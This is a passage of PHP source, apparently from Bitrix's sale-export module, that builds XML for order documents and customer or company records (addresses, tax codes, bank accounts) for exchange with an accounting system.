<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DELIVERY_DATE_CANCEL")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["DATE_CANCELED"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=GetMessage("SALE_EXPORT_CANCEL_REASON")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["REASON_CANCELED"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_REASON_MARKED")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["REASON_MARKED"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_TRACKING_NUMBER")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$document["TRACKING_NUMBER"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?self::OutputXmlSiteName($document);?>
<?self::OutputXmlDeliveryAddress();?>
<?if(isset($xmlResult['RekvProperties']) && strlen($xmlResult['RekvProperties'])>0) echo $xmlResult['RekvProperties'];?>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<?
break;
}
}
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_DOCUMENT")?>>
<?$c = ob_get_contents();
ob_end_clean();
echo $c;
$typeEntityId = \Bitrix\Sale\Exchange\EntityType::UNDEFINED;
switch ($typeDocument)
{
case 'Order':
$typeEntityId = \Bitrix\Sale\Exchange\EntityType::ORDER;
break;
case 'Payment':
$psType = \Bitrix\Sale\PaySystem\Manager::getPsType($document['PAY_SYSTEM_ID']);
if($psType == 'A')
$typeEntityId = \Bitrix\Sale\Exchange\EntityType::PAYMENT_CARD_TRANSACTION;
elseif($psType == 'N')
$typeEntityId = \Bitrix\Sale\Exchange\EntityType::PAYMENT_CASH_LESS;
else//if($psType == 'Y')
$typeEntityId = \Bitrix\Sale\Exchange\EntityType::PAYMENT_CASH;
break;
case 'Shipment':
$typeEntityId = \Bitrix\Sale\Exchange\EntityType::SHIPMENT;
break;
}
if(intval($typeEntityId)>0)
{
$filedsTolog = array(
'ENTITY_ID' => $document["ID"],
'XML_ID' => $document["ID_1C"]
);
if(self::getVersionSchema() < self::CONTAINER_VERSION)
$filedsTolog['MESSAGE'] = $c;
switch ($typeDocument)
{
case 'Order':
$filedsTolog['ENTITY_DATE_UPDATE'] = new \Bitrix\Main\Type\DateTime(\CAllDatabase::FormatDate($document['DATE_UPDATE']));
if(self::getVersionSchema() >= self::CONTAINER_VERSION)
$filedsTolog['PARENT_ID'] = $document["ID"];
break;
case 'Payment':
case 'Shipment':
$filedsTolog['OWNER_ENTITY_ID'] = $document["ORDER_ID"];
if(self::getVersionSchema() >= self::CONTAINER_VERSION)
$filedsTolog['PARENT_ID'] = $document["ORDER_ID"];
break;
}
static::$documentsToLog[$typeEntityId][] = $filedsTolog;
}
}
static function ExportContragents($arOrder = array(), $arProp = array(), $agent = array(), $arOptions = array())
{
$bExportFromCrm = (isset($arOptions["EXPORT_FROM_CRM"]) && $arOptions["EXPORT_FROM_CRM"] === "Y");
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTRAGENTS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTRAGENT")?>>
<?
if ($bExportFromCrm):
$xmlId = htmlspecialcharsbx(substr($arProp["CRM"]["CLIENT_ID"]."#".$arProp["CRM"]["CLIENT"]["LOGIN"]."#".$arProp["CRM"]["CLIENT"]["LAST_NAME"]." ".$arProp["CRM"]["CLIENT"]["NAME"]." ".$arProp["CRM"]["CLIENT"]["SECOND_NAME"], 0, 40));
else:
if(strlen($arOrder["SALE_INTERNALS_ORDER_USER_XML_ID"])>0):
$xmlId = htmlspecialcharsbx($arOrder["SALE_INTERNALS_ORDER_USER_XML_ID"]);
else:
$xmlId = htmlspecialcharsbx(substr($arOrder["USER_ID"]."#".$arProp["USER"]["LOGIN"]."#".$arProp["USER"]["LAST_NAME"]." ".$arProp["USER"]["NAME"]." ".$arProp["USER"]["SECOND_NAME"], 0, 40));
\Bitrix\Sale\Exchange\Entity\UserImportBase::updateEmptyXmlId($arOrder["USER_ID"], $xmlId);
endif;
endif; ?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>><?=$xmlId?></<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=htmlspecialcharsbx($agent["AGENT_NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<?
self::setDeliveryAddress($agent["ADDRESS_FULL"]);
//region address
$address = "";
if(strlen($agent["ADDRESS_FULL"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_PRESENTATION").">".htmlspecialcharsbx($agent["ADDRESS_FULL"])."</".CSaleExport::getTagName("SALE_EXPORT_PRESENTATION").">";
}
else
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_PRESENTATION")."></".CSaleExport::getTagName("SALE_EXPORT_PRESENTATION").">";
}
if(strlen($agent["INDEX"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_POST_CODE")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["INDEX"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["COUNTRY"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_COUNTRY")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["COUNTRY"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["REGION"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_REGION")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["REGION"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["STATE"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_STATE")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["STATE"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["TOWN"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_SMALL_CITY")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["TOWN"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["CITY"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_CITY")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["CITY"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["STREET"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_STREET")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["STREET"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["HOUSE"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_HOUSE")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["HOUSE"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["BUILDING"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_BUILDING")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["BUILDING"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
if(strlen($agent["FLAT"])>0)
{
$address .= "<".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">
<".CSaleExport::getTagName("SALE_EXPORT_TYPE").">".CSaleExport::getTagName("SALE_EXPORT_FLAT")."</".CSaleExport::getTagName("SALE_EXPORT_TYPE").">
<".CSaleExport::getTagName("SALE_EXPORT_VALUE").">".htmlspecialcharsbx($agent["FLAT"])."</".CSaleExport::getTagName("SALE_EXPORT_VALUE").">
</".CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD").">";
}
//endregion
if($agent["IS_FIZ"]=="Y")
{
self::$arResultStat["CONTACTS"]++;
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME")?>><?=htmlspecialcharsbx($agent["FULL_NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME")?>>
<?
if(strlen($agent["SURNAME"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_SURNAME")?>><?=htmlspecialcharsbx($agent["SURNAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_SURNAME")?>><?
}
if(strlen($agent["NAME"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_NAME")?>><?=htmlspecialcharsbx($agent["NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_NAME")?>><?
}
if(strlen($agent["SECOND_NAME"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_MIDDLE_NAME")?>><?=htmlspecialcharsbx($agent["SECOND_NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_MIDDLE_NAME")?>><?
}
if(strlen($agent["BIRTHDAY"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_BIRTHDAY")?>><?=htmlspecialcharsbx($agent["BIRTHDAY"])?></<?=CSaleExport::getTagName("SALE_EXPORT_BIRTHDAY")?>><?
}
if(strlen($agent["MALE"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_SEX")?>><?=htmlspecialcharsbx($agent["MALE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_SEX")?>><?
}
if(strlen($agent["INN"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_INN")?>><?=htmlspecialcharsbx($agent["INN"])?></<?=CSaleExport::getTagName("SALE_EXPORT_INN")?>><?
}
if(strlen($agent["KPP"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_KPP")?>><?=htmlspecialcharsbx($agent["KPP"])?></<?=CSaleExport::getTagName("SALE_EXPORT_KPP")?>><?
}
if(strlen($address)>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_REGISTRATION_ADDRESS")?>>
<?=$address?>
</<?=CSaleExport::getTagName("SALE_EXPORT_REGISTRATION_ADDRESS")?>>
<?
}
}
else
{
self::$arResultStat["COMPANIES"]++;
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_OFICIAL_NAME")?>><?=htmlspecialcharsbx($agent["FULL_NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_OFICIAL_NAME")?>>
<?
if(strlen($address)>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_UR_ADDRESS")?>>
<?=$address?>
</<?=CSaleExport::getTagName("SALE_EXPORT_UR_ADDRESS")?>><?
}
if(strlen($agent["INN"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_INN")?>><?=htmlspecialcharsbx($agent["INN"])?></<?=CSaleExport::getTagName("SALE_EXPORT_INN")?>><?
}
if(strlen($agent["KPP"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_KPP")?>><?=htmlspecialcharsbx($agent["KPP"])?></<?=CSaleExport::getTagName("SALE_EXPORT_KPP")?>><?
}
if(strlen($agent["EGRPO"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_EGRPO")?>><?=htmlspecialcharsbx($agent["EGRPO"])?></<?=CSaleExport::getTagName("SALE_EXPORT_EGRPO")?>><?
}
if(strlen($agent["OKVED"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_OKVED")?>><?=htmlspecialcharsbx($agent["OKVED"])?></<?=CSaleExport::getTagName("SALE_EXPORT_OKVED")?>><?
}
if(strlen($agent["OKDP"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_OKDP")?>><?=htmlspecialcharsbx($agent["OKDP"])?></<?=CSaleExport::getTagName("SALE_EXPORT_OKDP")?>><?
}
if(strlen($agent["OKOPF"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_OKOPF")?>><?=htmlspecialcharsbx($agent["OKOPF"])?></<?=CSaleExport::getTagName("SALE_EXPORT_OKOPF")?>><?
}
if(strlen($agent["OKFC"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_OKFC")?>><?=htmlspecialcharsbx($agent["OKFC"])?></<?=CSaleExport::getTagName("SALE_EXPORT_OKFC")?>><?
}
if(strlen($agent["OKPO"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_OKPO")?>><?=htmlspecialcharsbx($agent["OKPO"])?></<?=CSaleExport::getTagName("SALE_EXPORT_OKPO")?>><?
?><<?=CSaleExport::getTagName("SALE_EXPORT_OKPO_CODE")?>><?=htmlspecialcharsbx($agent["OKPO"])?></<?=CSaleExport::getTagName("SALE_EXPORT_OKPO_CODE")?>><?
}
if(strlen($agent["ACCOUNT_NUMBER"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_MONEY_ACCOUNTS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_MONEY_ACCOUNT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ACCOUNT_NUMBER")?>><?=htmlspecialcharsbx($agent["ACCOUNT_NUMBER"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ACCOUNT_NUMBER")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_BANK")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=htmlspecialcharsbx($agent["B_NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PRESENTATION")?>><?=htmlspecialcharsbx($agent["B_ADDRESS_FULL"])?></<?=CSaleExport::getTagName("SALE_EXPORT_PRESENTATION")?>>
<?
if(strlen($agent["B_INDEX"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_POST_CODE")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_INDEX"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_COUNTRY"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_COUNTRY")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_COUNTRY"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_REGION"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_REGION")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_REGION"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_STATE"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_STATE")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_STATE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_TOWN"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_SMALL_CITY")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_TOWN"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_CITY"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_CITY")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_CITY"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_STREET"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_STREET")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_STREET"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_HOUSE"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_HOUSE")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_HOUSE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_BUILDING"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_BUILDING")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_BUILDING"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
if(strlen($agent["B_FLAT"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_FLAT")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["B_FLAT"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>><?
}
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS")?>>
<?
if(strlen($agent["B_BIK"])>0)
{
?><<?=CSaleExport::getTagName("SALE_EXPORT_BIC")?>><?=htmlspecialcharsbx($agent["B_BIK"])?></<?=CSaleExport::getTagName("SALE_EXPORT_BIC")?>><?
}
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_BANK")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_MONEY_ACCOUNT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_MONEY_ACCOUNTS")?>>
<?
}
}
if(strlen($agent["F_ADDRESS_FULL"])>0)
{
self::setDeliveryAddress($agent["F_ADDRESS_FULL"]);
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PRESENTATION")?>><?=htmlspecialcharsbx($agent["F_ADDRESS_FULL"])?></<?=CSaleExport::getTagName("SALE_EXPORT_PRESENTATION")?>>
<?
if(strlen($agent["F_INDEX"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_POST_CODE")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_INDEX"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_COUNTRY"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_COUNTRY")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_COUNTRY"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_REGION"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_REGION")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_REGION"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_STATE"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_STATE")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_STATE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_TOWN"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_SMALL_CITY")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_TOWN"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_CITY"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_CITY")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_CITY"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_STREET"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_STREET")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_STREET"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_HOUSE"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_HOUSE")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($agent["F_HOUSE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<?
}
if(strlen($agent["F_BUILDING"])>0)
{
?>
